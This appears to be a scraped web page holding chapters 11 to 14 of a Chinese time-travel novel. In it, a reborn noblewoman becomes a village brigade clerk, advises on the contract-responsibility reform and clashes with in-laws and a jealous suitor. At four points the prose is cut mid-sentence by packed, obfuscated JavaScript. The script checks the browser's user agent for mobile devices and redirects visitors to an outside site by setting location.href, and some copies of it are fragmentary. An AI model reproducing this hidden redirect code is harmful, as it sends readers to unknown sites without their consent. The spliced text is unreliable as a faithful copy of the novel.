窦海云自惭形秽,又想起她刚才不小心和社员们说漏嘴的话,脸登时红了。不过还有数学呢…… 数学题也不难,一些珠算的计算题,两道应用题。 大队部有四个算盘,社员们轮流用,沈淑仪是第一批拿到算盘的四个人之一。 考数学,周长潇就自动放弃了,坐在沈淑仪旁边看她。她只见自家大嫂,纤细的手指在算盘上翻飞,把算盘珠子拨得噼啪响,她还没反应过来呢,大嫂已经做完好几题了…… 再看看另外几个拿到算盘的人,还在傻眼呢!什么山外有山,人外有人,她大嫂肯定就是最厉害的!周长潇简直想叉腰狂笑。 沈淑仪算盘拨得噼啪响,别人想不注意都难,考场里的人都朝她看。 这会儿,已经有人意识到了,周家那二丫头恐怕不是胡说八道,她大嫂真的有本事…… 沈淑仪很快交了卷,比考文化题还要快。朱会计看看沈淑仪的试卷,那是一百个满意。 其余社员见沈淑仪这么快交卷,心里都觉得没什么希望了,有人本来就不擅长珠算,当场就放弃了,到朱会计旁边去看沈淑仪的两张试卷。 朱会计已经把沈淑仪的卷子批改好了,放在手旁边,专门为了给别的社员看。社员一看傻了眼,数学卷满分,文化卷也是满分,尤其那一手好字,毫不夸张地说是前所未见的好,这叫他们怎么比?难怪周二丫那么狂,原来人家真有本事呢! 社员朝朱会计竖了个大拇指:“我们大圩出了个能人!” 考场上还有继续考的青年社员听了这话,更不淡定了。有人说:“交卷的快点出去,不要在这影响别人。” “你们别挣扎了,赶紧交卷,回家还能多睡会儿午觉呢。”提前交卷的社员笑嘻嘻说,被朱会计赶出去了。 沈淑仪交卷后,带着周长潇到大队部门前广场边的泡桐树下乘凉,等着考试结果。 初夏,泡桐树枝繁叶茂,远处是成片的麦田和油菜田,风吹在沈淑仪的脸上,让她对眼前所见,自身所在,有了实感。 “大嫂,你怎么那么厉害!”周长潇现在对她大嫂只有一个想法,崇拜! “这都没什么。”沈淑仪说,她会的多着呢,琴棋书画,酿酒、点茶、制香、刺绣……但这些东西,在这个时代全,最起码现在这会儿都用不上。 “以前是我不懂事,我以后肯定听你话,绝对不和你作对了!”周长潇说。 沈淑仪浅浅笑道:“好。” “大嫂,你还会什么呀?教教我啊!”周长潇说。 “你先把字写好吧。”沈淑仪说。 考场里,每一个交卷的社员都会看一遍沈淑仪的卷子,然后输的心服口服。 “难怪周二丫头狂呢,我要是这么有本事,比她还要狂!” “以前长海在的时候,他媳妇倒不显山露水,现在一个人了,倒显出来了。” “这么有本事,前几天怎么想不开的……” 社员们叽叽喳喳,都在说沈淑仪。 朱会计很快把所有社员的试卷都改了出来,又拿去给刘支书和陈队长看了一遍,第一当然是沈淑仪。 刘国栋让陈志把沈淑仪的两张卷子贴在大队部的布告栏上,这下所有到大队部的人都能看到沈淑仪的试卷,表明他们录这个女同志是公正、公平、公开。 刘支书把今天参加考试的社员聚集起来,宣布沈淑仪当选大圩大队文书,又勉励了一下其余年轻社员,就让他们散了。 社员们看过沈淑仪的卷子,全都心服口服地离开了。 窦海云一个人往回走,一直低着头、红着脸,心里有点懊悔。她刚才生怕周长潇会和她搭话,让她下不来台,还好她没有。 沈淑仪被大队干部留下来说话,周长潇也陪着留下了。 刘支书又和沈淑仪说了她的工作内容,主要就是处理一些文字工作,辅助朱会计算算账,统计大队里的收支,传达一下上头的政策之类。一般大队里这些事都是会计一个人做,但他们朱会计年纪大了,眼神也不太好,就想着找个人辅助他。加上大队里几个领导文化水平都一般,所以一直配着一个文书用,大圩的社员们也都习惯了。 “沈同志,虽然这个文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364062|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书是我们大圩大队内部的,但只要表现得优秀,还是有机会的。”刘支书给沈淑仪画了个大饼。 “我会协助好几位领导的,支书请放心。”沈淑仪浅笑着说。 “嗯嗯,看你写的字,和你摘抄的新闻,就知道你是个有条理的,马上要夏收,正好要忙起来了,等忙过夏收,你肯定也就上手了。”刘国栋说。 “好。” “那就这样,你们先回去吧,明天早上过来就行。” 沈淑仪带着周长潇回家,周长潇走路一蹦三跳,高兴得很。 “大嫂,明天我和你一起来吧?”周长潇说。 “家里不管了?”沈淑仪淑。 “我来一回儿再回去也行。” “你不嫌来回跑烦就好。” 姑嫂两个到家,周家人已经午休好都起床了。 两人一进院门,陶桂香就迎了出去:“怎么样,选上了吧?” 周长潇得意说:“那还用说,肯定选上了啊!” “那就好,那就好。”陶桂香也高兴,脸笑成一朵花。 虽然村官不算官,沈淑仪更是什么都不算,但周家还是有种家里人进“衙门”了的喜悦。 沈淑仪觉得,她这身份在她那个年代,顶多相当于地方小吏,书吏。 沈淑仪在周家的地位直线上升,这让周长泓产生了深深的危机感,他决定今天晚上就找沈淑仪谈谈,弄清楚她到到底想干什么! 下午,该上工的都上工了,沈淑仪被周长潇缠着教写字,她迫不及待要沈淑仪教她写她小心上人的名字,陆建业。 周长潇吭哧写了一下午陆建业的名字,晚上烧晚饭的时候,全都丢进火膛烧了,生怕被她妈发现。 傍晚,上工的人回来了,周家的院子一下子热闹起来。沈淑仪要到大队当文书的事已经传开了,周家人今天每个人都被问了不止一次,有人高兴,有人烦。 陶桂香肯定是高兴的,晚饭掏了几个咸鸭蛋出来加菜,沈淑仪独得一整个。可惜这蛋也不知道在盐卤了腌了多久,咸得能把人齁死,沈淑仪只掏了一点蛋黄吃,就放在一边不动了。 陶桂香见沈淑仪不吃,就把她吃过的蛋拿过去,递给周长泓。 “我不要!”周长泓脸一红,他妈怎么回事,这是那个女人吃过的啊!怎么还给他吃!他才不吃她的口水呢! 周长泓瞥一眼沈淑仪,她还是那么四平八稳地坐着,压根不当回事!这“寡妇鬼”,道行就是深! “你干嘛不要,又不是什么大户人家,要你这穷讲究!”陶桂香自己用筷子把蛋黄掏出来,一半放进周长泓碗里,另一半放进周长潇碗里。 “妈!”周长泓哀嚎一声,看着碗里已经被蛋黄“污染”的粥,脸红到脖根。 “你再不识好歹,鬼喊狼嚎!我……”陶桂香举起筷子要打他,“快吃!吃过了去挑水!” 周长泓知道不能浪费粮食,只好把有那个女人口水的咸蛋黄和在粥里,“屈辱”地吃下了…… 12. 第 12 章 晚饭后一撂筷子,周长泓就离开饭桌去挑水。 大圩,包括附近几个大队吃的都是上洋河的水,水挑回来,倒进水缸,然后放明矾进去净化静置一晚,烧开就能吃了。 周长泓以前挑水时都要拼着他二哥一起,他二哥结婚后,他妈就不让他二哥挑了,说给二哥省力气。他一开始不懂,凭什么只给二哥省力气,不给他省,后来他二哥被缠得没办法了才告诉他,说等他娶媳妇就知道了,是给晚上省力气呢! 周长泓今天挑水时,不知道怎么就又想起了这件事……脸上的红更加退不下去了。挑完最后两桶,水缸已经满了,他索性用桶里剩下的凉水冲了个澡,被陶桂香知道后,又挨了一顿骂。 都是那个女人害的!周长泓心里恨恨地想,他今晚非要去找她算账不可。这么想着,周长泓不知道怎么又想起给二哥晚上省力气的话,脸又烧红起来,不知怎么又不敢去找沈淑仪了,自己难受了一晚上…… 沈淑仪可不知道周长泓心里的如何天人交战,洗过澡就睡下了。临睡前,她还抱着睡醒就能回去的期待,希望着明天醒来,她是睡在自己的雕花大床上,身边十几个丫鬟伺候…… 然而一睁眼,她还在这,耳边是激昂的动员曲,催着社员们上早工。 沈淑仪起床洗漱,和家人一起吃早饭。 “老大家的今天要去大队部了吧。”周二柱说。 “嗯,吃过早饭就去。”沈淑仪说。 “听说公社要开始搞大包干,你打听打听,到底搞不搞,什么时候搞,怎么搞的。”周二柱说。 “她今天才去,你就叫她打听干什么!”陶桂香说,“反正怎么都要等夏收后,急什么!” 沈淑仪说:“我知道了,要是听到什么消息就告诉你们。” 陶桂香还不放心:“你不要打听,在旁边听听就行了。” 沈淑仪笑笑:“嗯,我明白。” 周长泓见家人俨然把沈淑仪当成主心骨,心里更担心,还有点后悔,没有在把她捞起来的那一刻就说出实情。现在好了,短短几天,一家子就“沦陷”了——父母指望她在大队部获得内部消息,二哥二嫂盼着她的二百五十块钱,小妹拿她当老师…… 只剩他一个人孤军奋战!周长泓决定今晚无论如何也要找她问清楚,顺便把她敲打一番。 早饭过后,其余人去上工,沈淑仪带着周长潇去大队部。两人路上遇到不少上工的社员,他们称呼沈淑仪时,已经是沈文书了。 周长潇喜气洋洋,好像当上文书的是她自己。 两人到大队部,朱会计已经在办公了。 “我来晚了。”沈淑仪说。 朱学勤笑笑:“不晚不晚,我年纪大了,觉少。” “我今天要做什么?”沈淑仪问。 “马上夏收了,把账对一对,队里有不少社员还欠着粮食和工分呢,统计一下。”朱学勤叹了口气,“我们大队也欠着公社、欠着国家粮食和钱。上年队里买拖拉机,欠信用社的钱今年怕也还不上。” 沈淑仪觉得挺不可思议的,老百姓还能欠“朝廷”粮食,这在她那个时代是绝对不可能的,你就是卖儿卖女卖自己也要把欠朝廷的给补上。只有“新社会”才有这种事吧,沈淑仪这个“旧社会”来的人,心生许多感慨。 朱学勤给了沈淑仪两本账本,一把算盘,还有一支铅笔和一支已经吸满墨水的钢笔。 沈淑仪坐到原先文书的位置上开始看账本算账,周长潇在旁写了一会儿字,见大嫂在认认真真算账也不敢打扰,待了不到一个小时就回家了。 沈淑仪看着账本对大圩大队也有了进一步的了解,大圩大队下面又分成八个生产队,每个生产队平均四十户人家,两百来号人,整个大圩大队一共一千七百多名社员。其中大多数都在原地务农,只有极少部分,像原主的丈夫那样,在城里有工作或者在外当兵,另外还有没能返城、也没在当地成家的知青十几人。 如今的大圩大队,欠着信用社拖拉机钱,欠着国家粮食和种子钱……在整个胜利公社属于落后大队,朱会计算着算着就又开始叹气。 十点多的时候,刘支书骑着自行车来到大队部,他手上拿着报纸,刚从公社回来。 “小沈来了,怎么样啊,能上手吧?”刘国栋问。 “做些统计,应该没问题,等下请两位领导给我检查一下。”沈淑仪说。 “呵呵,你肯定没问题的,做事肯定比我们细呢。”刘国栋说着把报纸放在办公桌上,又从随身的帆布包里翻出一本软皮本递给沈淑仪,说,“这个本子给你,你当工作笔记用。” “谢谢支书。”沈淑仪接过来道了谢。 刘国栋看看沈淑仪的统计表格,字是真漂亮,又漂亮又工整,一目了然,看着字是舒服的,看到统计的内容就难受了,欠粮食、欠钱的社员太多了! 刘支书叹气。 “国栋,你去公社,见到书记没有啊?有什么新指示没有?”朱学勤问。 “见到了,还见到别的大队的书记,书记的意思是先搞试点,社员同意率高的大队先搞一季看。”刘国栋说。 “那你什么想法?”朱学勤又问。 刘国栋说:“我准备搞搞动员,把同意率提上去。” “我们大队搞试点啊。”朱学勤说。 “搞!”刘国栋说,“不搞不行了,不搞这欠的饥荒不知道猴年马月才能还清呢,我看到信用社的小侯都躲着走。” 刘国栋把报纸递到朱学勤面前,指着一篇报道说:“朱会计,你看看这篇报道。” 刘支书和朱会计显然在说大包干的事,沈淑仪一边继续工作,一边认真听他们说。 朱会计看完报道,一拍办公桌:“搞!非搞不可!” “小沈同志,你怎么看呢?听得出我们在说什么吧?你昨天看报纸也摘抄了这个呢。”刘支书突然问沈淑仪。 “听得出,在说家庭联产承包责任制。”沈淑仪用了昨天在报纸上学的词。 “对。”刘支书笑着说。“你作为社员,会支持我们大队试点这个承包制吗?” “会。”沈淑仪毫不犹豫地点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364063|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “为什么?”刘支书又问。 沈淑仪拍拍面前的账本:“因为这个。” 刘支书笑笑:“我记得你们家是不欠大队钱的。” “前些年也欠,长海上班后才慢慢还上的。”沈淑仪顿了一下说,“还大队的钱,不是从土地里出的。” 一句“还大队的钱,不是从土地里出的”,让刘支书对沈淑仪的好感度又上升了几分,他点点头说:“不错,有觉悟。我们守着土地,却种不好,养不活我们自己,实属不应该。人家搞承包的亩产比我们高一倍还多,这就是政策出了问题,赶不上时代了。” 朱会计咳了一声,提示刘支书不要把话说过了。 “我准备尽快开始动员了,早点开始搞,争取把同意率搞得高高的!”刘国栋雄心壮志已在燃烧。 沈淑仪记得,原书里,今年的试点,他们大队是没拿到的,刘书记虽有雄心,但别的大队也有,人家还有计谋。 “书记,我有点一点小想法,不知道对不对,您要听听看吗?”沈淑仪斟酌着说。 “你说,你说,年轻人,思维活络,我们新来的公社书记就挺年轻呢。”刘国栋说。 沈淑仪说:“我觉得,动员的事,宜迟不宜早。” “为什么?”刘国栋问。 朱会计倒是先反应过来了,但他没吱声,继续听沈淑仪说。 沈淑仪说:“我觉得最早,也要放在夏收交过公粮后。想必今年的公粮还是交不齐,那个时候,社员们是最急于改变现状的,那时候想要动员应该会容易点。” “有点道理。”刘国栋点头,然后他自己继续说,“而且公社是搞试点,不是全搞,要让他们觉得名额是要抢的,让别的大队先动员,他们可能会觉得自己赶不上,抢不到,有好处占不到!” 沈淑仪笑笑:“是这样没错,还有就是,从动员到计票的时间越短,越不容易出乱子。” 刘国栋双手一拍:“还真是!啧,没想到,小沈你还是个女诸葛!” 沈淑仪谦虚一笑:“我就是一点小想法,两位领导肯定早就想到了。” “谦虚了,谦虚了。”刘国栋笑道,“把你招来真是太对了!” 朱学勤也跟着夸了沈淑仪几句,沈淑仪其实还有挺多想法,但她没有再多说,过犹不及。 放工时分,沈淑仪也回家吃饭,从大队部出来后,沈淑仪一路遇上不少社员,见到她都挺客气的。其中有昨天一起参加考试的,还问她收不收徒,想跟她学打算盘…… 沈淑仪路过周三柱家时,正好撞上周长清。 周长清刚喊了一声大嫂,就被另一声更响的大嫂盖过了声音,那是周长泓的声音。 “大嫂,快回来吃饭了!不要和不相干的人搭腔!” 于是沈淑仪没有理周长清,直接回家去。 沈淑仪走到周长泓身旁,周长泓对她说:“你别理他,别忘了,你掉水里,他都不救你。” “好,我不理他。”沈淑仪说。 周长泓听沈淑仪那哄人的语气,顿时脸红了…… 13. 第 13 章 周长泓红着脸看了一眼沈淑仪,然后一言不发撇下她,自己一个人率先跑回去了,进了院后大喊了一声:“妈,大嫂回来了。” 沈淑仪见周长泓这别扭模样,很难想象他是书中的大反派,就这种生瓜蛋子大反派,难怪斗不过男主呢。 隔壁的周长清看着可比他稳重有城府多了,那天晚上当着众人面强硬地说自己要为窦海云负责,也不是那么简单的一句话而已。现在队里的人都认为,周长清敢下河救人,还愿意为自己行为负责,是个真男人,名声挺好。沈淑仪要不是凭本事考上队里的文书,那名声可是不太好。 周长潇从厨房跑出来迎沈淑仪。 “大嫂你回来了,在大队部上班累不累啊?” 沈淑仪笑笑:“我不累,你一个人做饭累不累?” “我也不累,嘿嘿,我回来后又练了一些字,等下吃过午饭你给我批改一下。”周长潇说。 “好,真用功。”沈淑仪夸了一句,还摸了一下周长潇的头,“厨房还有什么要帮忙的?” “没有了,大嫂去堂屋等着吃饭就行。”周长潇笑呵呵地说。 厨房里的孙巧梅心里气得不行,她一回来小姑子就叫她做这做那,大嫂一回来,她就嘘寒问暖,这也太区别对待了! 吃午饭时,周二柱问沈淑仪:“你在大队部怎么样啊?” “挺好,书记和会计都挺照顾我,今天在登记社员们欠大队钱粮的情况。”沈淑仪说。 “得有一半人家欠吧?”陶桂香说。 “是不少。”沈淑仪说。 “那个大包干的事,他们说没说?”周二柱最关心的还是这个事。 “提了一嘴,具体章程还不知道。” 周二柱没有再问什么,一家子埋头吃饭。 午饭过后,孙巧梅被陶桂香吩咐去洗碗,周长潇缠着沈淑仪让她批改“作业”。 沈淑仪很有耐心,一笔一划地教周长潇怎么改、怎么写,一番春风化雨的教学,把周长潇拿捏得死死。 周长潇不但开始学沈淑仪写字,还开始学她说话的方式、走路的姿势,一向风风火火的疯丫头,竟变得文静起来,陶桂香对此非常满意。 沈淑仪在大队部誊了几天帐,把整个大圩大队欠债的农户都统计了出来,超过三分之一农户欠了大队钱粮。 刘支书看着新账本,心里只有一个想法,大包干必须得干!谁反对都不行!附近几个大队已经开始动员搞大包干的事了,社员反应强烈,其中反对的声音比他想的还要多。特别是有些人,嘴一张就是大队不管他们死活了,公社要开始要搞个人主义、资本主义了…… 他们队里已经有不少人来探他口风,他一直没给明确答复,社员们就自己到到处打听,他暗中问了几个人,他们大队想要搞大包干的人不少,当然,反对的人也有。 刘国栋觉得,这件事听小沈同志的,还真是听对了。 沈淑仪弄完账本,一时没有什么着急要做的事,朱会计让她把过去一些资料整理整理,有字迹不清晰,数据模糊的,就给重新誊一誊,算一算。 在沈淑仪誊写资料的时候,刘支书,陈队长和朱会计等人偶尔会在办公室开会,说说大队的情况,公社的新鲜事。 沈淑仪每次都在一边做事,一边安静地听他们说话,除非被点名,她从不主动发表意见。 听来的见闻,加上平时抽空看看刘支书带回来的报纸,再听听朱会计的收音机,沈淑仪渐渐对这个新时代的国家政策、当地经济形势都有了自己的理解。 虽然她仍在遗憾不能亲自收拾那对父子,但已经对回去不报希望,把心思都放在如何在这个时代更好地生存下去。 六月初,夏收在即。 这天下午,天有些阴沉,刘国栋黑着脸从外头进来,把草帽一甩气道:“几拃长的机耕路,叫他们修几天都修不平整,个个就知道磨洋工!嘴上说集体、集体,谁也不把集体真当回事!这天马上又要下雨,真要被他们气死!越是欠大队饥荒多的,越是懒!” 朱会计叹气:“也不是一天两天这样了,已经说油了,除非拿鞭子跟后头抽,不然没用。” “还是国家对他们太好了,养着这帮子懒汉!”刘国栋气得不行。 两人正说着话,一阵炸雷响起,轰隆隆,很快豆大的雨点就落下来。 “这雨可不能多下啊!”朱会计看着窗外又叹了一声。 雷雨从三点多开始下,一直到六点还没停,不过雨势已经小了,雷声也在很远处。 “小沈,雨看样子不会停了,门后有备用的伞,你回去吧。”朱会计说。 “您呢?下雨您也早点回去吧,路上滑可得小心点。”沈淑仪说。 刘国栋笑笑:“小沈你不用担心他,他家山子会来接他的。” 山子是刘会计的小儿子,大名叫朱保山,沈淑仪经常听到朱会计和刘支书提到他,听说是个很孝顺懂事的青年。 沈淑仪还知道,这个朱保山不但是个孝顺的好青年,还是个痴情的男配角,他一直喜欢窦海云,为了窦海云多年没娶,把老父亲气得够呛,一直到朱会计临了,他都没能看到小儿子结婚,可以说是含恨离世。 “那我就先走了。”沈淑仪说。 “嗯,路上当心,明早要是还下雨,路上不好走,就不用来了。”刘国栋说。 “好的。”沈淑仪应下,收拾自己的办公桌。 刘支书继续和朱会计说着朱保山的事。 “小山的亲事怎么说的?上回看的那个还不成啊?” “没成,这小子,别的什么都好,就是一提替他说亲,他就不吱声。”朱会计说,“也不晓得他到底想找个什么样的,问呢,就说听我们老两口的,给他找他又不同意!” 沈淑仪没有多嘴,收拾好东西,和两人道别后离开。 沈淑仪在门口拿到了雨伞,一把大黑伞,她撑着都有些费劲。 雨倒是不大,但是土路泥泞难走,沈淑仪穿的是松紧口的布鞋,走出大队部没多久,布鞋就被泥给粘住了,只能慢慢往前蹭着走,加上大黑伞太重,又是逆风,她走得很慢。 这时候,沈淑仪就想着上辈子的好了,上辈子她一辈子也没遭过这个罪啊! 沈淑仪慢慢地朝前挪,布鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364064|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就湿透脏透,她忍着脚上的恶心,盼着老周家能有个懂事的,过来接她。 逆风撑伞,挡住了沈淑仪的视线,本就艰难前行的她,突然被迎面走来的人给撞了一下,她手上的伞一歪,被风鼓吹着,她没来得及收手,人被带倒了,伞直接飞出去老远。 伞飞走了,沈淑仪看到撞她的人,看见人的那一刻,和自己脑子里模糊的记忆对上,撞她的人,正是朱会计的小儿子朱保山。 沈淑仪一看他的神情就知道,他是故意撞自己的。原因她也立马就反应过来,为了窦海云。 本就被这雨天泥路折磨得够呛的沈淑仪立刻来火了,她站起来,脱掉布鞋,大步回头走了十几步,拿起了黑雨伞。此时的雨伞沾满了泥水,她把雨伞收起,又在地上蹭了两下,让伞面上沾了更多的泥水。接着,她转身,朝装作没事人的朱保山走去,在离他三四步的地方停下,双手握着伞柄狠狠一甩,把泥水甩了朱保山一身一脸。 朱保山完全没想到沈淑仪会这么做,他一时呆住,刚想开口说话,却听对方冷冷先开口了:“记住,今天是你先撞我,先惹的我。” “我不是故意的。”朱保山被沈淑仪的模样吓到,怕她会拿大黑伞的伞尖来戳自己,喃喃地说。 “不是故意的,为什么刚才不道歉?”沈淑仪把伞当拐杖用,拄着伞把手和朱保山对峙。 “我……”朱保山没想到,看上去柔柔弱弱,撑伞都吃力的沈淑仪却是半点不吃亏的性子。他本来只想给她一个教训,出出心里的恶气,没想到她这么强硬。看着眼前的沈淑仪,朱保山一句话都说不出来。 沈淑仪却没准备放过他:“为什么故意撞我!你是顺风撑伞,不可能没看见我,说!” 朱保山哪敢说,他只有开口道歉:“对不起,我真不是故意的,雨下大了,你还是把伞撑起来,快回家吧。” 沈淑仪却不撑伞,冷笑一声:“为了窦海云。” 朱保山脸都变了:“我不是,我没有!” “懦夫。”说完这两个字,沈淑仪不再理会朱保山,她走到自己鞋子跟前,把一双鞋提起,然后一手鞋,一手伞,冒雨往家走。 朱保山被沈淑仪骂愣在原地,然后又转过身看着沈淑仪的背影,心情复杂…… 周长泓被陶桂香指派去给沈淑仪送雨靴送伞,他心里一百个不想去,但没办法,家里只有他最合适去。 从周家到大队部要拐两个弯,大概两里地,在拐第二个弯的时候,周长泓看到了已经被淋成落汤鸡的沈淑仪。 周长泓连忙跑起来,跑到沈淑仪跟前把伞挡在她头顶。 “你怎么有伞不撑,身上怎么这么多泥,摔跤了?也不知道在大队部等着!”周长泓说着把手里的雨靴放在沈淑仪跟前,“快穿上吧,别把脚给划伤了。” 沈淑仪抬脚要穿雨靴,周长泓又说:“你把脏袜子脱了啊,你这样穿进去,雨靴弄脏了不说,还打滑不好走。” “古代人”沈淑仪犹豫了几秒钟,还是没脱袜子,直接穿进雨靴里。 “哎,你……”周长泓刚想说什么,突然反应过来,她这是怕他看到她的脚…… 14. 第 14 章 脏湿的袜子穿进雨靴里确实不好走,脚在雨靴里打滑,沈淑仪只能继续用黑伞当拐杖朝前走。她的另一只手里又拿着鞋子,腾不出手来撑伞,周长泓只好为她撑着伞。 伞的一大半在沈淑仪头上,本来一路走来身上没湿的周长泓,很快也湿了半边身子。周长泓想着,现在倒是机会,路上一个人都没有,正好可以和沈淑仪算算账。 但她现在看上去可怜兮兮的,身上都是泥水,看上去心情也很糟,周长泓想想还是算了,等后面再找机会吧,反正一个屋檐下住着,他肯定还有机会。而且,目前这女人也没干什么伤天害理的事。 沈淑仪浑身被泥水粘的难受,一路上都没和周长泓说话,偶尔脚底打滑,更让她心里烦躁起火。周长泓要扶她,她也嫌弃地躲开了。烦躁之余,她又想着,什么时候得在刘支书他们跟前撺掇撺掇,让他们想办法拉点石子把路面搞搞硬化,路搞好了,也方便拖拉机和微耕机进出。 回到周家,沈淑仪第一句话就是:“有热水吗,我想洗个澡先。” “有呢,热水瓶里的你先用。”陶桂香迎上前,“身上怎么也脏了,摔跤了啊?” 沈淑仪嗯了一声。 “大嫂,我给你打水!”周长潇乖巧地说。 “谢谢你。”沈淑仪面对周长潇比对旁人更有耐心。 沈淑仪洗了澡,整个人感觉清爽了,心情却只是略有好转。 下雨天,停电,周家点了煤油灯吃晚饭。 沈淑仪心情不美好,整个人散发出来的气息便不那么柔和,身边的人很容易觉察到。 陶桂香说:“下次再碰到雨天,就在大队部等着,我叫长泓去接你,或者备一双胶鞋在大队部。” “嗯,我知道了。”沈淑仪应了声,语气淡淡的。 周二柱本来还想打听今天大队部有没有新闻,见儿媳妇明显不愿说话的样子,也没有再问。 吃过晚饭,沈淑仪没有像平时那样等家人吃好再一起下桌,而是吃完直接下桌了。 沈淑仪下桌后就回房去了,直接把插销插上,显然是谁都不想理。 孙巧梅嘀咕一声:“大嫂也太娇气了,不就是淋场雨么,之前敢往河里跳呢。” 陶桂香瞥她一眼:“你说什么呢,她本来身子就弱,你看她多瘦,吃得也最少。” “妈,你也太偏心了!”孙巧梅一边收拾碗筷一边嘟嘴说。 周长淮推了孙巧梅一下:“你别瞎说,妈从来不偏心!” 因为周二柱和周三柱这对亲兄弟的矛盾,就是由于老一辈偏心引起的,所以陶桂香平时总说自己要一碗水端平,不想让人说她偏心。从前陶桂香对两个媳妇态度是差不多的,甚至对孙巧梅要稍微好一点,现在沈淑仪捏住了他们的把柄,又当了大队文书,陶桂香对她才稍微好一点。 果然听到孙巧梅说她偏心,陶桂香脸色变了:“家里什么情况你们不知道啊?我是多给她钱了,还是多给她好东西吃了?你说说看,我偏心在哪!” 孙巧梅见婆婆生气了,忙换了副脸,赔笑说:“妈,我几是想您也心疼一下我,没有别的意思。” “你快去洗碗吧!”周长淮催孙巧梅。 孙巧梅心里不痛快,但该洗碗还是要洗。黑灯瞎火,又下着雨,孙巧梅在厨房洗碗,越洗心里越觉得委屈。 周长淮在堂屋陪父母说了几句话,来厨房找孙巧梅。 孙巧梅干活不理他。 “你别在妈跟前说偏心不偏心的,她听不得。”周长淮说。 孙巧梅哼了一声:“她能做,我们不能说,现在一家子,就我是老黄牛!” “瞎说什么呢,要说老黄牛,也是我啊。”周长淮笑嘻嘻地走到孙巧梅身边,掐了她的腰一把,“我这头老黄牛,今晚就要把你这块地,好好耕耘一番。” “呸,天一晚就开始胡说八道。”孙巧梅被周长淮逗笑了,一扭腰,“不要乱捏,等下把碗打碎了。” 周长淮站在旁边,小声笑着说:“你就是想不开,大嫂她以后能有什么,你每天晚上都有我陪呢,她一个寡妇,天天独守空房。等你给妈生下大胖孙子,看她高兴不高兴。不要为眼前的一点破事就不开心。说白了,大嫂以后就是为了咱们活的,以后她还要给我们养闺女呢。” 听丈夫这么说这,孙巧梅心里才痛快些。这些天,她心里真的不平衡,家里处处都以大嫂为先,不就当了个文书,又没实权,把她巴结上天了都! 沈淑仪躺在床上,却睡不着,心里又开始想她过去锦衣玉食的生活。也不知道这辈子,什么时候才能过上上辈子的日子。改善生活,成了沈淑仪的人生目标。 朱家,朱保山也睡不着,他脑子里一直在回放着沈淑仪拿伞朝往自己身上甩泥水的样子,耳边回响的是她说话的声音。 他从前其实根本没有注意到这个女人,他一心都在窦海云身上,总想着等有机会,就和父母说清楚,自己不介意窦海云的家庭,愿意娶她,以后他们俩多努力,一定能把日子过好。 没想到,他还没机会开口,窦海云就因为救沈淑仪,和周长清定亲了。 朱保山把自己错失姻缘的事怪在沈淑仪身上,今天才冲动地用伞推了她一下,没想到后来会那样。 而且,沈淑仪怎么知道他喜欢窦海云的,她明天会不会和他爸说?要是说了,他爸肯定要生气的……朱保山心里别提多后悔。 翻来覆去好久后,朱保山决定明天去找沈淑仪郑重道歉,并央求她不要把自己喜欢窦海云的事说出去,毕竟她都已经订婚了,说出去对她不好…… 天公作美,第二天一早就出太阳了。阳光晴好,沈淑仪的心情也好了,吃过早饭后,她还是照常出门去大队部。 沈淑仪走到周三柱家门口,看到一个女学生模样的小姑娘,她顿时想起来,这是周三柱家的周长洁,和周长潇一样大,现在在县里读高中,书里她以后会考上大学。 “大嫂。”周长洁和她打招呼。 沈淑仪嗯了一声,算作回应,继续朝前走。 周长洁却又喊住她:“大嫂,听说你字很好看,能不能教教我啊?” “不能!”周长潇从自家门口追出来了,她本来是想给沈淑仪送伞的,大嫂把大队部的大黑伞落在家里了,没想到正好撞上有人要和她抢大嫂,那还得了,她赶紧阻止! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364065|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周长潇把伞递给沈淑仪,说:“大嫂,你忘带伞了。” “谢谢。”沈淑仪笑笑,接过伞。 周长潇挽住沈淑仪的胳膊,昂着头对周长洁说:“这是我的大嫂!不是你的!” 周长洁看看周长潇:“长潇,你不是一直说自己只认吴知青是你大嫂么?” “你放什么臭屁!”周长潇脸气红了,“我只有这一个亲大嫂!” 